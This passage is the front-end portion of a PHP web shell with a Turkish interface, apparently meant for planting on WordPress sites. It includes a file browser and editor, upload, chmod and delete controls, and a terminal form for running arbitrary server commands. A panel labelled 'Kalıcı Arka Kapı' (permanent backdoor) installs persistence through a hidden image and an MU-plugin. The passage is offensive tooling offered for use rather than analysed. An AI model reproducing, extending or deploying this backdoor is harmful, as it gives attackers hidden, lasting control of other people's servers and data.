                        <div class="empty-state">Bu klasör boş</div>
                    <?php else: ?>
                        <div class="file-list">
                            <?php if ($currentPath !== $baseDir): ?>
                                <a href="?path=<?= urlencode(dirname($currentPath)) ?>" style="text-decoration: none;">
                                    <div class="file-item">
                                        <i data-lucide="corner-up-left" class="file-icon" style="width: 16px; height: 16px;"></i>
                                        <div class="file-name">..</div>
                    </div>
                                </a>
                            <?php endif; ?>
                            
                            <?php foreach ($items as $item): ?>
                                <div class="file-item">
                                    <i data-lucide="<?= $item['icon'] ?>" class="file-icon" style="width: 16px; height: 16px;"></i>
                                    
                                    <?php if ($item['type'] === 'folder'): ?>
                                        <a href="?path=<?= urlencode($item['path']) ?>" class="file-name file-name-link">
                                            <?= htmlspecialchars($item['name']) ?>
                                        </a>
                                    <?php else: ?>
                                        <a href="?edit=<?= urlencode($item['path']) ?>" class="file-name file-name-link">
                                            <?= htmlspecialchars($item['name']) ?>
                                        </a>
                                    <?php endif; ?>
                                    
                                    <div class="file-meta">
                                        <?php if ($item['type'] === 'file'): ?>
                                            <span><?= formatSize($item['size']) ?></span>
                                        <?php endif; ?>
                                        <span><?= date('d.m.Y H:i', $item['modified']) ?></span>
                                    </div>
                                    
                                    <div class="file-actions">
                                        <?php if ($item['type'] === 'file'): ?>
                                            <a href="?edit=<?= urlencode($item['path']) ?>" class="action-btn">Düzenle</a>
                                            <a href="?download=<?= urlencode($item['path']) ?>" class="action-btn">İndir</a>
                                        <?php endif; ?>
                                        <button class="action-btn" onclick="openRenameModal('<?= htmlspecialchars($item['path']) ?>', '<?= htmlspecialchars($item['name']) ?>')">Yeniden Adlandır</button>
                                        <button class="action-btn" onclick="openChmodModal('<?= htmlspecialchars($item['path']) ?>', '<?= $item['permissions'] ?>')">İzinler</button>
                                        <button class="action-btn danger" onclick="deleteItem('<?= htmlspecialchars($item['path']) ?>', '<?= htmlspecialchars($item['name']) ?>')">Sil</button>
                                    </div>
                                </div>
                            <?php endforeach; ?>
                        </div>
                    <?php endif; ?>
                </div>
                
                <!-- Sidebar -->
                <div>
                    <!-- Upload -->
                    <div class="panel sidebar-section">
                        <div class="panel-title">Yükle</div>
                        <form method="POST" enctype="multipart/form-data">
                            <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                            <div class="form-group">
                                <input type="file" name="upload_file" class="form-input" required>
                            </div>
                            <button type="submit" class="btn btn-primary btn-block">Yükle</button>
                        </form>
                    </div>
                    
                    <!-- Create -->
                    <div class="panel sidebar-section">
                        <div class="panel-title">Yeni Oluştur</div>
                        <form method="POST">
                            <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                            <div class="form-group">
                                <input type="text" name="file_name" class="form-input" placeholder="Dosya adı" required>
                            </div>
                            <button type="submit" name="create_file" class="btn btn-success btn-block">Dosya</button>
                                    </form>
                        
                        <form method="POST" style="margin-top: 8px;">
                            <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                            <div class="form-group">
                                <input type="text" name="folder_name" class="form-input" placeholder="Klasör adı" required>
                            </div>
                            <button type="submit" name="create_folder" class="btn btn-primary btn-block">Klasör</button>
                                    </form>
                    </div>
                    
                    <!-- Terminal -->
                    <div class="panel sidebar-section">
                        <div class="panel-title">Terminal</div>
                        <form method="POST">
                            <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                            <div class="form-group">
                                <input type="text" name="command" class="form-input" placeholder="Komut" required>
                            </div>
                            <button type="submit" name="run_command" class="btn btn-primary btn-block">Çalıştır</button>
                        </form>
                        
                        <?php if (isset($commandOutput)): ?>
                            <div class="terminal"><?= htmlspecialchars($commandOutput) ?></div>
                        <?php endif; ?>
                    </div>

                    <!-- ========== Enable Permanent Backdoor ========== -->
                    <div class="panel sidebar-section">
                        <div class="panel-title">Kalıcı Arka Kapı</div>
                        <a href="?action=persist&csrf_token=<?= $csrfToken ?>" class="btn btn-danger btn-block" onclick="return confirm('Kalıcı arka kapı kurulsun mu? (Gizli resim + MU-Plugin)')">
                            Enable Permanent
                        </a>
                    </div>
                    </div>
                </div>
            <?php endif; ?>
        </div>

    <!-- Modals -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3 class="modal-title">Yeniden Adlandır</h3>
                <button class="modal-close" onclick="closeModal('renameModal')">&times;</button>
            </div>
            <form method="POST">
                <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                <input type="hidden" name="old_path" id="rename_old_path">
                <input type="hidden" name="rename" value="1">
                <div class="form-group">
                    <input type="text" name="new_name" id="rename_new_name" class="form-input" required>
                </div>
                <button type="submit" class="btn btn-primary btn-block">Kaydet</button>
                </form>
        </div>
    </div>
    
    <div id="chmodModal" class="modal">
        <div class="modal-content">
            <div class="modal-header">
                <h3 class="modal-title">İzinleri Değiştir</h3>
                <button class="modal-close" onclick="closeModal('chmodModal')">&times;</button>
            </div>
            <form method="POST">
                <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
                <input type="hidden" name="chmod_path" id="chmod_path">
                <input type="hidden" name="chmod" value="1">
                <div class="form-group">
                    <input type="text" name="permissions" id="chmod_permissions" class="form-input" pattern="[0-7]{4}" required>
            </div>
                <button type="submit" class="btn btn-primary btn-block">Kaydet</button>
            </form>
        </div>
    </div>
    
    <form id="deleteForm" method="POST" style="display: none;">
        <input type="hidden" name="csrf_token" value="<?= $csrfToken ?>">
        <input type="hidden" name="delete_path" id="delete_path">
        <input type="hidden" name="delete" value="1">
    </form>

<script>
    lucide.createIcons();
        
        function openRenameModal(path, name) {
            document.getElementById('rename_old_path').value = path;
            document.getElementById('rename_new_name').value = name;
            document.getElementById('renameModal').classList.add('active');
        }
        
        function openChmodModal(path, permissions) {
            document.getElementById('chmod_path').value = path;
            document.getElementById('chmod_permissions').value = permissions;
            document.getElementById('chmodModal').classList.add('active');
        }
        
        function closeModal(modalId) {
            document.getElementById(modalId).classList.remove('active');
        }
        
        function deleteItem(path, name) {
            if (confirm('Silmek istediğinizden emin misiniz?\n\n' + name)) {
                document.getElementById('delete_path').value = path;
                document.getElementById('deleteForm').submit();
            }
        }
        
        window.onclick = function(event) {
            if (event.target.classList.contains('modal')) {
                event.target.classList.remove('active');
            }
        }
        
        setTimeout(function() {
            const notifications = document.querySelectorAll('.notification');
            notifications.forEach(function(notification) {
                notification.style.opacity = '0';
                notification.style.transition = 'opacity 0.5s';
                setTimeout(function() {
                    notification.remove();
                }, 500);
            });
        }, 5000);
</script>
<?php endif; ?>

</body>
</html>